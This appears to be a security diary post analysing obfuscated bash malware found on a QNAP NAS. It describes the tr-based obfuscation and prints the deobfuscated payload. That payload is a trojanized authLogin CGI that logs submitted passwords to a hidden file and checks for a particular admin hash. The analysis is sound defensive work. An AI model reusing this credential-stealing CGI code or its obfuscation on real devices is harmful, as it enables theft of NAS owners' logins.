Obfuscated bash script targeting QNap boxes
One of our readers, Nathaniel Vos, shared an interesting shell script with us and thanks to him! He found it on an embedded Linux device, more precisely, a QNap NAS running QTS 4.3. After some quick investigations, it looked that the script was not brand new. we found references to it already posted in September 2018[1]. But such shell scripts are less common: they are usually not obfuscated and they perform basic features like downloading and installing some binaries. So, I took the time to look at it.
Nathaniel provided us a ZIP archive with two scripts but, once deobfuscated, they generated the same output.
The first script was called ‘autorun.sh’ (SHA256: 94e901ada005120126234e8cbbc3b2142b00ed336922a0e3f400439c7061b849) and the second one ‘K01YgToEc.sh’ (SHA256: 1ccc3d2978edf38104e0e4b9c77146737ea6a6e880d172e485f4a67dc4e33359). Both are unknown on VT when I’m writing the diary. They use the same technique to obfuscate the code:
- Shell variables are made of random characters
- The code is polluted with undefined variables (so returning an empty string when printed). Example: ${uIHNPnfezwbcmn}
- Characters are replaced with their hex value. Example: \x72 -> ‘r'
- Some variables contain characters in octal value. Example: EpSHer=\\133 -> ‘['
Here are the first lines of the script:
$ head -10 autorun.sh 1: #!/bin/sh 2: 3: XdLVBKAo=tr${PotjEjbZl} 4: ZjZfCafE='\' 5: EpSHer=${qIFMKMhiLQYkzZr}${ZjZfCafE}${KrVViRvQs}133 6: lmkYrG=${FKgWKTtpzobrKUK}${ZjZfCafE}${njJfCTyAr}055 7: mbcHAcrP=${GGsIVGSsokYhAJV}${ZjZfCafE}${mFfYGGKTf}134 8: $XdLVBKAo 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh 9: GU/Q[b/&r;;w<apCJuKmOLkoSi 10: Ma|a}pC]Yr'%<[IXM"{a|bJfnpCQlia'V|LVpC%wMhKX|}ipCkb]Q%<VtQuZ|fndpChk<"|\MLfndL&pCISMSaZ'M(Y`|dp]Pmo*OSpxxfndpCiw+aIJ[Z|L&pCo=K(|dpC%T[{|fn+bpCh'P*|&pCY(o[qZO}`]oovw|LpCH*X>YT|dfnw<aapCh}=&'X`q
At a first read, it seems very complex but, once all the junk code removed (see the list above), you discover that the script is obfuscated via a simple ’tr’ command. ’tr’ is a command useful to translate characters in a string like:
$ tr ‘abcdefghij’ ‘1234567890’ <<__END__ Example string __END__ Ex1mpl5 str9n7
Each character from the first argument is replaced with the character from the second one ('a' -> '1', 'b' -> '2', ...). Here is the ’tr’ command from the malicious script:
tr 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh ... ... ... CaXTFJSCqaHF
'b${VXGXkTXAV}a${CYlb}sh’ is simply the ‘bash’ command. So, tr converts all characters from the very long string ending with ‘CaXTFJSCqaHF’ then the content (deobfuscated commands) is piped to bash. Here is an interesting finding in the script (beautified)
1: grep 'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:' /etc/shadow >/dev/null 2>&1 && { 2: ! test -d "${bdir}/.log" && mkdir "${bdir}/.log" 3: ! test -f /home/httpd/cgi-bin/QTSauthLogin.cgi && { 4: cp -p /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi || cp /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi; 5: } && echo '#!/bin/sh 6: POSTDATA="" 7: test "x${REQUEST_METHOD}" = xPOST && { 8: case "${CONTENT_LENGTH}" in 9: '"''"' | *[!0-9]* | 0* ) false 10: ;; 11: *) test "${CONTENT_LENGTH}" -lt 2147483646 12: ;; 13: esac && { 14: IFS= read -d '"''"' -rn "${CONTENT_LENGTH}" POSTDATA; test -z "$POSTDATA" && POSTDATA=`dd bs=1 count="$CONTENT_LENGTH" 2>/dev/null`; 15: } || test "$POSTDATA" || POSTDATA=`cat` 16: 17: test ! -z "$POSTDATA" && 18: case "${POSTDATA}" in 19: *pwd*) test -f "'${bdir}'/.log/.cgi_log" || 20: { test -d "'${bdir}'/.log" || mkdir -p "'${bdir}'/.log" && touch "'${bdir}'/.log/.cgi_log"; } 21: && test $((`stat -c '"'"'%s'"'"' "'${bdir}'/.log/.cgi_log"`)) -lt 209715200 && cat >> "'${bdir}'/.log/.cgi_log" << EOF ;; 22: esac; 23: $REMOTE_ADDR:$POSTDATA 24: EOF 25: } 26: test ! -z "$POSTDATA" && case "$POSTDATA" in *user=admin* ) true ;; *) false ;; esac || case "$QUERY_STRING" in *user=admin*) true ;; *) false ;; esac && { 27: case "${REMOTE_ADDR}" in 28: '"''"' | 10.* | 127.* | 192.168.* | 169.254.* | 172.1[6-9].* | 172.2[0-9].* | 172.3[01].* | *:* ) false 29: ;; 30: *) true 31: ;; 32: esac && grep '"'"'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:'"'"' /etc/shadow >/dev/null 2>/dev/null && exit 0 33: } 34: if ! test -z "$POSTDATA"; then 35: exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi << V4KLDmYwvc 36: $POSTDATA 37: V4KLDmYwvc 38: else 39: exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi 40; fi 41: exit 0' > /home/httpd/cgi-bin/_authLogin.cgi
This code installs a malicious CGI script (/home/httpd/cgi-bin/_authLogin.cgi) that steals the admin password (note that the default credentials are tested). The script also installs cron jobs, SSH & UPNP tools. So, it is definitively malicious!
The remaining question is: how is this script installed on the device, via which vulnerability? There are some critical vulnerabilities in QTS released in 2018[2].
[1] https://forum.qnap.com/viewtopic.php?t=143239&start=15
[2] https://www.cvedetails.com/vulnerability-list/vendor_id-10080/Qnap.html
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments